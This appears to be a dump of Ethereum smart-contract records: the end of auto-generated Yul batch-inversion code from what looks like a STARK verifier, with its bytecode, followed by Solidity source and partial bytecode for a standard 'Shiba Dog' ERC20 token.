mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) } // Loop over the remainder. for { } gt(currentPartialProductPtr, firstPartialProductPtr) { } { currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) } } } } // ---------- End of auto-generated code. ----------
0x608060405234801561001057600080fd5b506060602060016000350102604051915080820160405280600083375060008160098151811061003c57fe5b6020026020010151905060606075600201826002020267ffffffffffffffff8111801561006857600080fd5b50604051908082528060200260200182016040528015610092578160200160208202803683370190505b50905061009f838261160c565b60007e4000000000000110000000000001210000000000000000000000000000000090507f080000000000001100000000000000000000000000000000000000000000000184610dc08101606086028101616fc0830161abc08401602088015b838510156115fd576000878985510988613dc08901518a0382018a6159c08b0151865109098201915088613de08901518a0382018a6159e08b0151602087015109098201915088613e008901518a0382018a615a008b0151604087015109098201915088613e208901518a0382018a615a208b0151606087015109098201915088613e408901518a0382018a615a408b0151608087015109098201915088613e608901518a0382018a615a608b015160a087015109098201915088613e808901518a0382018a615a808b015160c087015109098201915088613ea08901518a0382018a615aa08b015160e087015109098201915088613ec08901518a0382018a615ac08b015161010087015109098201915088613ee08901518a0382018a615ae08b015161012087015109098201915088613f008901518a0382018a615b008b015161014087015109098201915088613f208901518a0382018a615b208b015161016087015109098201915088613f408901518a0382018a615b408b015161018087015109098201915088613f608901518a0382018a615b608b01516101a087015109098201915088613f808901518a0382018a615b808b01516101c087015109098201915088613fa08901518a0382018a615ba08b01516101e087015109098201915050878960208601510988613fc08901518a0382018a615bc08b0151865109098201915088613fe08901518a0382018a615be08b01516020870151090982019150886140008901518a0382018a615c008b01516108a0870151090982019150886140208901518a0382018a615c208b01516108c0870151090982019150886140408901518a0382018a615c408b01516109e0870151090982019150508789604086015109886140608901518a0382018a615c608b01518651090982019150886140808901518a0382018a615c808b01516020870151090982019150886140a08901518a0382018a615ca08b01516108a0870151090982019150886140c08901518a0382018a615cc08b01516108c0870151090982019150508789606086015109886140e08901518a0382018a615ce08b01518651090982019150886141008901518a0382018a615d008b01516108a0870151090982019150508789608086015109886141208901518a0382018a615d208b01518651090982019150886141408901518a0382018a615d408b01516020870151090982019150886141608901518a0382018a615d608b01516106c087015109098201915088896141808a01518b0383018b615d808c01516106e0880151090983089150886141a08901518a0382018a615da08b0151610720870151090982019150886141c08901518a0382018a615dc08b0151610740870151090982019150886141e08901518a0382018a615de08b0151610860870151090982019150886142008901518a0382018a615e008b0151610880870151090982019150886142208901518a0382018a615e208b01516108c087015109098201915050878960a086015109886142408901518a0382018a615e408b01518651090982019150886142608901518a0382018a615e608b01516020870151090982019150886142808901518a0382018a615e808b01516040870151090982019150886142a08901518a0382018a615ea08b01516060870151090982019150886142c08901518a0382018a615ec08b01516080870151090982019150886142e08901518a0382018a615ee08b015160a0870151090982019150886143008901518a0382018a615f008b015160c0870151090982019150886143208901518a0382018a615f208b015160e0870151090982019150886143408901518a0382018a615f408b0151610100870151090982019150886143608901518a0382018a615f608b0151610120870151090982019150886143808901518a0382018a615f808b0151610180870151090982019150886143a08901518a0382018a615fa08b01516101a0870151090982019150886143c08901518a0382018a615fc08b0151610200870151090982019150886143e08901518a0382018a615fe08b0151610420870151090982019150886144008901518a0382018a6160008b0151610440870151090982019150886144208901518a0382018a6160208b01516105e0870151090982019150886144408901518a0382018a6160408b0151610600870151090982019150886144608901518a0382018a6160608b0151610760870151090982019150886144808901518a0382018a6160808b0151610780870151090982019150886144a08901518a0382018a6160a08b0151610900870151090982019150886144c08901518a0382018a6160c08b0151610920870151090982019150886144e08901518a0382018a6160e08b0151610960870151090982019150886145008901518a0382018a6161008b0151610980870151090982019150886145208901518a0382018a6161208b01516109a0870151090982019150886145408901518a0382018a6161408b01516109c087015109098201915088896145608a01518b0383018b6161608c0151610a20880151090983089150886145808901518a0382018a6161808b0151610a80870151090982019150886145a08901518a0382018a6161a08b0151610b40870151090982019150886145c08901518a0382018a6161c08b0151610b60870151090982019150886145e08901518a0382018a6161e08b0151610ba0870151090982019150886146008901518a0382018a6162008b0151610bc0870151090982019150886146208901518a0382018a6162208b0151610c40870151090982019150886146408901518a0382018a6162408b0151610d40870151090982019150886146608901518a0382018a6162608b0151610d60870151090982019150886146808901518a0382018a6162808b0151610e8087015109098201915050878960c086015109886146a08901518a0382018a6162a08b01518651090982019150886146c08901518a0382018a6162c08b01516020870151090982019150886146e08901518a0382018a6162e08b01516040870151090982019150886147008901518a0382018a6163008b0151606087015109098201915050878960e086015109886147208901518a0382018a6163208b01518651090982019150886147408901518a0382018a6163408b01516020870151090982019150886147608901518a0382018a6163608b01516040870151090982019150886147808901518a0382018a6163808b01516060870151090982019150886147a08901518a0382018a6163a08b01516080870151090982019150886147c08901518a0382018a6163c08b015160a0870151090982019150886147e08901518a0382018a6163e08b015160c0870151090982019150886148008901518a0382018a6164008b015160e0870151090982019150886148208901518a0382018a6164208b0151610100870151090982019150886148408901518a0382018a6164408b0151610120870151090982019150886148608901518a0382018a6164608b0151610160870151090982019150886148808901518a0382018a6164808b0151610180870151090982019150886148a08901518a0382018a6164a08b01516101a0870151090982019150886148c08901518a0382018a6164c08b01516101e0870151090982019150886148e08901518a0382018a6164e08b0151610220870151090982019150886149008901518a0382018a6165008b0151610260870151090982019150886149208901518a0382018a6165208b01516102a087015109098201915088896149408a01518b0383018b6165408c01516102e0880151090983089150886149608901518a0382018a6165608b0151610340870151090982019150886149808901518a0382018a6165808b0151610360870151090982019150886149a08901518a0382018a6165a08b01516103c0870151090982019150886149c08901518a0382018a6165c08b0151610460870151090982019150886149e08901518a0382018a6165e08b015161048087015109098201915088614a008901518a0382018a6166008b01516104e087015109098201915088614a208901518a0382018a6166208b015161054087015109098201915088614a408901518a0382018a6166408b015161056087015109098201915088614a608901518a0382018a6166608b01516105a087015109098201915088614a808901518a0382018a6166808b015161062087015109098201915088614aa08901518a0382018a6166a08b015161064087015109098201915088614ac08901518a0382018a6166c08b015161066087015109098201915088614ae08901518a0382018a6166e08b015161068087015109098201915088614b008901518a0382018a6167008b01516106a087015109098201915088614b208901518a0382018a6167208b01516106e087015109098201915088614b408901518a0382018a6167408b01516107a087015109098201915088614b608901518a0382018a6167608b01516107c087015109098201915088614b808901518a0382018a6167808b01516107e087015109098201915088614ba08901518a0382018a6167a08b015161082087015109098201915088614bc08901518a0382018a6167c08b015161084087015109098201915088614be08901518a0382018a6167e08b01516108e087015109098201915088614c008901518a0382018a6168008b015161094087015109098201915088614c208901518a0382018a6168208b0151610a0087015109098201915088614c408901518a0382018a6168408b0151610a4087015109098201915088614c608901518a0382018a6168608b0151610a6087015109098201915088614c808901518a0382018a6168808b0151610aa087015109098201915088614ca08901518a0382018a6168a08b0151610ac087015109098201915088614cc08901518a0382018a6168c08b0151610ae087015109098201915088614ce08901518a0382018a6168e08b0151610b0087015109098201915088614d008901518a0382018a6169008b0151610b208701510909820191508889614d208a01518b0383018b6169208c0151610b8088015109098308915088614d408901518a0382018a6169408b0151610be087015109098201915088614d608901518a0382018a6169608b0151610c0087015109098201915088614d808901518a0382018a6169808b0151610c208701510909820191505087896101008601510988614da08901518a0382018a6169a08b0151865109098201915088614dc08901518a0382018a6169c08b0151604087015109098201915088614de08901518a0382018a6169e08b0151608087015109098201915088614e008901518a0382018a616a008b015161010087015109098201915088614e208901518a0382018a616a208b015161018087015109098201915088614e408901518a0382018a616a408b015161024087015109098201915088614e608901518a0382018a616a608b015161028087015109098201915088614e808901518a0382018a616a808b01516102c087015109098201915088614ea08901518a0382018a616aa08b015161030087015109098201915088614ec08901518a0382018a616ac08b015161032087015109098201915088614ee08901518a0382018a616ae08b015161034087015109098201915088614f008901518a0382018a616b008b015161038087015109098201915088614f208901518a0382018a616b208b01516103a087015109098201915088614f408901518a0382018a616b408b01516103e087015109098201915088614f608901518a0382018a616b608b015161040087015109098201915088614f808901518a0382018a616b808b015161046087015109098201915088614fa08901518a0382018a616ba08b01516104a087015109098201915088614fc08901518a0382018a616bc08b01516104c087015109098201915088614fe08901518a0382018a616be08b0151610500870151090982019150886150008901518a0382018a616c008b0151610520870151090982019150886150208901518a0382018a616c208b0151610580870151090982019150886150408901518a0382018a616c408b01516105c0870151090982019150886150608901518a0382018a616c608b0151610700870151090982019150886150808901518a0382018a616c808b0151610800870151090982019150886150a08901518a0382018a616ca08b0151610c60870151090982019150886150c08901518a0382018a616cc08b0151610c80870151090982019150886150e08901518a0382018a616ce08b0151610ca087015109098201915088896151008a01518b0383018b616d008c0151610cc0880151090983089150886151208901518a0382018a616d208b0151610ce0870151090982019150886151408901518a0382018a616d408b0151610d00870151090982019150886151608901518a0382018a616d608b0151610d20870151090982019150886151808901518a0382018a616d808b0151610d80870151090982019150886151a08901518a0382018a616da08b0151610da0870151090982019150886151c08901518a0382018a616dc08b0151610dc0870151090982019150886151e08901518a0382018a616de08b0151610de0870151090982019150886152008901518a0382018a616e008b0151610e00870151090982019150886152208901518a0382018a616e208b0151610e20870151090982019150886152408901518a0382018a616e408b0151610e40870151090982019150886152608901518a0382018a616e608b0151610e6087015109098201915050878961012086015109886152808901518a0382018a616e808b01518651090982019150886152a08901518a0382018a616ea08b01516020870151090982019150886152c08901518a0382018a616ec08b01516040870151090982019150886152e08901518a0382018a616ee08b01516060870151090982019150886153008901518a0382018a616f008b015160a0870151090982019150886153208901518a0382018a616f208b015160e0870151090982019150886153408901518a0382018a616f408b0151610160870151090982019150886153608901518a0382018a616f608b01516101e087015109098201915050610140840193508789845109886153808901518a0382018a616f808b0151610ea0870151090982019150508789602085015109886153a08901518a0382018a616fa08b0151610ea08701510909909101889006602087015250610ec08101516040868101919091526060909501949190910190610ee0016100ff565b5050505050611200610dc08201f35b6003611616612e79565b611661565b600060405160208152602080820152602060408201528260608201528360808201528460a082015260208160c0836005600019fa61165857600080fd5b51949350505050565b612c008401517f080000000000001100000000000000000000000000000000000000000000000180828309835280828451096020840152808260208501510960408401528082604085015109606084015280826060850151096080840152808260808501510960a0840152808260a08501510960c08401819052835182910960e0840152808260e0850151096101008401819052835182910961012084018190528351829109610140840152808261014085015109610160840181905260c0840151829109610180840181905260c08401518291096101a0840152808183610180860151096101a0850151096101c084015280826101c0850151096101e0840181905260208401518291096102008401819052835182910961022084015280826102208501510961024084018190526102008401518291096102608401528081836101e086015109610260850151096102808401528081606085015161018086015109610280850151096102a08401528081610160850151610260860151096102a0850151096102c0840152808160c08501516101a0860151096102c0850151096102e084015261181581613b068461161b565b610300840152808182838560c0880151096102c0870151096102e08601510961030085015109610320840152612c20860151808203806103408601528284820990508061036086015282848209905080610380860152828482099050806103a0860152828482099050806103c0860152828482099050806103e08601528284820990508061040086015282848209905080610420860152828482099050806104408601528284820990508061046086015282848209905080610480860152828482099050806104a0860152828482099050806104c0860152828482099050806104e08601528284820990508061050086015282848209905080610520860152828482099050806105408601528284820990508061056086015282848209905080610580860152828482099050806105a0860152828482099050806105c08601528260a086015182099050806105e08601528284820990508061060086015282606086015182099050806106208601528284820990508061064086015282855182099050806106608601528260c0860151820990508061068086015282606086015182099050806106a086015282602086015182099050806106c08601528260c086015182099050806106e0860152826060860151820990508061070086015282848209905080610720860152828551820990508061074086015282855182099050806107608601528284820990508061078086015282606086015182099050806107a086015282606086015182099050806107c0860152828482099050806107e08601528260e0860151820990508061080086015282606086015182099050806108208601528284820990508061084086015282855182099050806108608601528260c0860151820990508061088086015282606086015182099050806108a086015282602086015182099050806108c08601528261012086015182099050806108e086015282848209905080610900860152826040860151820990508061092086015282848209905080610940860152826060860151820990508061096086015282606086015182099050806109808601528261016086015182099050806109a08601528261010086015182099050806109c086015282606086015182099050806109e0860152826101408601518209905080610a0086015282848209905080610a2086015282848209905080610a408601528285518209905080610a6086015282848209905080610a8086015282848209905080610aa086015282848209905080610ac08601528260608601518209905080610ae08601528260608601518209905080610b00860152826101608601518209905080610b2086015282848209905080610b408601528260e08601518209905080610b608601528260608601518209905080610b808601528260e08601518209905080610ba086015282848209905080610bc08601528260208601518209905080610be086015282848209905080610c0086015282848209905080610c208601528260608601518209905080610c4086015282848209905080610c608601528285518209905080610c80860152826102008601518209905080610ca0860152826102408601518209905080610cc086015282848209905080610ce0860152826102208601518209905080610d00860152826101c08601518209905080610d208601528285518209905080610d408601528260608601518209905080610d608601528260208601518209905080610d80860152826102808601518209905080610da08601528260808601518209905080610dc08601528260e08601518209905080610de0860152826101608601518209905080610e00860152826101608601518209905080610e20860152826101608601518209905080610e408601528260c08601518209905080610e60860152826102608601518209905080610e8086015282848209905080610ea0860152826101e08601518209905080610ec08601528260608601518209905080610ee086015282848209905080610f008601528260e08601518209905080610f20860152826101608601518209905080610f40860152826101608601518209905080610f60860152826102a08601518209905080610f80860152826103008601518209905080610fa08601528260c08601518209905080610fc0860152826101808601518209905080610fe08601528260c086015182099050806110008601528260c086015182099050806110208601528260c08601518209905080611040860152826101a08601518209905080611060860152826102c08601518209905080611080860152828482099050806110a08601528261032086015182099050806110c08601528261016086015182099050806110e0860152826101608601518209905080611100860152826101a086015182099050806111208601528260e08601518209905080611140860152826101a086015182099050806111608601528260c086015182099050806111808601528260c086015182099050806111a0860152826102e086015182099050806111c0860152506153c0870192506020610140880151028301602087016010885102808201600186868709870395505b84881015612d0e578751878b82096103408b01518101838752808552898185099350506103608b01518101836020880152806020860152898185099350506103808b01518101836040880152806040860152898185099350506103a08b01518101836060880152806060860152898185099350506103c08b01518101836080880152806080860152898185099350506103e08b015181018360a08801528060a0860152898185099350506104008b015181018360c08801528060c0860152898185099350506104208b015181018360e08801528060e0860152898185099350506104408b015181018361010088015280610100860152898185099350506104608b015181018361012088015280610120860152898185099350506104808b015181018361014088015280610140860152898185099350506104a08b015181018361016088015280610160860152898185099350506104c08b015181018361018088015280610180860152898185099350506104e08b01518101836101a0880152806101a0860152898185099350506105008b01518101836101c0880152806101c0860152898185099350506105208b01518101836101e0880152806101e0860152898185099350506105408b015181018361020088015280610200860152898185099350506105608b015181018361022088015280610220860152898185099350506105808b015181018361024088015280610240860152898185099350506105a08b015181018361026088015280610260860152898185099350506105c08b015181018361028088015280610280860152898185099350506105e08b01518101836102a0880152806102a0860152898185099350506106008b01518101836102c0880152806102c0860152898185099350506106208b01518101836102e0880152806102e0860152898185099350506106408b015181018361030088015280610300860152898185099350506106608b015181018361032088015280610320860152898185099350506106808b015181018361034088015280610340860152898185099350506106a08b015181018361036088015280610360860152898185099350506106c08b015181018361038088015280610380860152898185099350506106e08b01518101836103a0880152806103a0860152898185099350506107008b01518101836103c0880152806103c0860152898185099350506107208b01518101836103e0880152806103e0860152898185099350506107408b015181018361040088015280610400860152898185099350506107608b015181018361042088015280610420860152898185099350506107808b015181018361044088015280610440860152898185099350506107a08b015181018361046088015280610460860152898185099350506107c08b015181018361048088015280610480860152898185099350506107e08b01518101836104a0880152806104a0860152898185099350506108008b01518101836104c0880152806104c0860152898185099350506108208b01518101836104e0880152806104e0860152898185099350506108408b015181018361050088015280610500860152898185099350506108608b015181018361052088015280610520860152898185099350506108808b015181018361054088015280610540860152898185099350506108a08b015181018361056088015280610560860152898185099350506108c08b015181018361058088015280610580860152898185099350506108e08b01518101836105a0880152806105a0860152898185099350506109008b01518101836105c0880152806105c0860152898185099350506109208b01518101836105e0880152806105e0860152898185099350506109408b015181018361060088015280610600860152898185099350506109608b015181018361062088015280610620860152898185099350506109808b015181018361064088015280610640860152898185099350506109a08b015181018361066088015280610660860152898185099350506109c08b015181018361068088015280610680860152898185099350506109e08b01518101836106a0880152806106a086015289818509935050610a008b01518101836106c0880152806106c086015289818509935050610a208b01518101836106e0880152806106e086015289818509935050610a408b01518101836107008801528061070086015289818509935050610a608b01518101836107208801528061072086015289818509935050610a808b01518101836107408801528061074086015289818509935050610aa08b01518101836107608801528061076086015289818509935050610ac08b01518101836107808801528061078086015289818509935050610ae08b01518101836107a0880152806107a086015289818509935050610b008b01518101836107c0880152806107c086015289818509935050610b208b01518101836107e0880152806107e086015289818509935050610b408b01518101836108008801528061080086015289818509935050610b608b01518101836108208801528061082086015289818509935050610b808b01518101836108408801528061084086015289818509935050610ba08b01518101836108608801528061086086015289818509935050610bc08b01518101836108808801528061088086015289818509935050610be08b01518101836108a0880152806108a086015289818509935050610c008b01518101836108c0880152806108c086015289818509935050610c208b01518101836108e0880152806108e086015289818509935050610c408b01518101836109008801528061090086015289818509935050610c608b01518101836109208801528061092086015289818509935050610c808b01518101836109408801528061094086015289818509935050610ca08b01518101836109608801528061096086015289818509935050610cc08b01518101836109808801528061098086015289818509935050610ce08b01518101836109a0880152806109a086015289818509935050610d008b01518101836109c0880152806109c086015289818509935050610d208b01518101836109e0880152806109e086015289818509935050610d408b0151810183610a0088015280610a0086015289818509935050610d608b0151810183610a2088015280610a2086015289818509935050610d808b0151810183610a4088015280610a4086015289818509935050610da08b0151810183610a6088015280610a6086015289818509935050610dc08b0151810183610a8088015280610a8086015289818509935050610de08b0151810183610aa088015280610aa086015289818509935050610e008b0151810183610ac088015280610ac086015289818509935050610e208b0151810183610ae088015280610ae086015289818509935050610e408b0151810183610b0088015280610b0086015289818509935050610e608b0151810183610b2088015280610b2086015289818509935050610e808b0151810183610b4088015280610b4086015289818509935050610ea08b0151810183610b6088015280610b6086015289818509935050610ec08b0151810183610b8088015280610b8086015289818509935050610ee08b0151810183610ba088015280610ba086015289818509935050610f008b0151810183610bc088015280610bc086015289818509935050610f208b0151810183610be088015280610be086015289818509935050610f408b0151810183610c0088015280610c0086015289818509935050610f608b0151810183610c2088015280610c2086015289818509935050610f808b0151810183610c4088015280610c4086015289818509935050610fa08b0151810183610c6088015280610c6086015289818509935050610fc08b0151810183610c8088015280610c8086015289818509935050610fe08b0151810183610ca088015280610ca0860152898185099350506110008b0151810183610cc088015280610cc0860152898185099350506110208b0151810183610ce088015280610ce0860152898185099350506110408b0151810183610d0088015280610d00860152898185099350506110608b0151810183610d2088015280610d20860152898185099350506110808b0151810183610d4088015280610d40860152898185099350506110a08b0151810183610d6088015280610d60860152898185099350506110c08b0151810183610d8088015280610d80860152898185099350506110e08b0151810183610da088015280610da0860152898185099350506111008b0151810183610dc088015280610dc0860152898185099350506111208b0151810183610de088015280610de0860152898185099350506111408b0151810183610e0088015280610e00860152898185099350506111608b0151810183610e2088015280610e20860152898185099350506111808b0151810183610e4088015280610e40860152898185099350506111a08b0151810183610e6088015280610e60860152898185099350506111c08b0151810183610e8088015280610e808601528981850993505087810183610ea088015280610ea0860152898185099350505081610ec086015280610ec084015287818309915050610ee084019350610ee082019150602088019750611f8e565b60208b019750612d2287600289038361161b565b9550505083612d83577f08c379a0000000000000000000000000000000000000000000000000000000006000526020600452601e6024527f426174636820696e76657273652070726f64756374206973207a65726f2e000060445260626000fd5b90915060e08501905b81831115612e49576020830392508484845109835284818401518509935060208303925084848451098352848184015185099350602083039250848484510983528481840151850993506020830392508484845109835284818401518509935060208303925084848451098352848184015185099350602083039250848484510983528481840151850993506020830392508484845109835284818401518509935060208303925084848451098352848184015185099350612d8c565b5b85831115612e6d5760208303925084848451098352848184015185099350612e4a565b50505050505050505050565b604051806111e00160405280608f90602082028036833750919291505056fea264697066735822122011ba8b3aafaeb66e5974157abf0015439f9bef7b3c68228382d08c6e4edb43d064736f6c634300060c0033
[ 38 ]
0xf2ae24a3f2ddd909ee5876d2ede2031b4ec3a044
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ShibaDog is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Shiba Dog"; symbol = "SHIBAD"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820bec940cd1c45eec171078929b813e3a8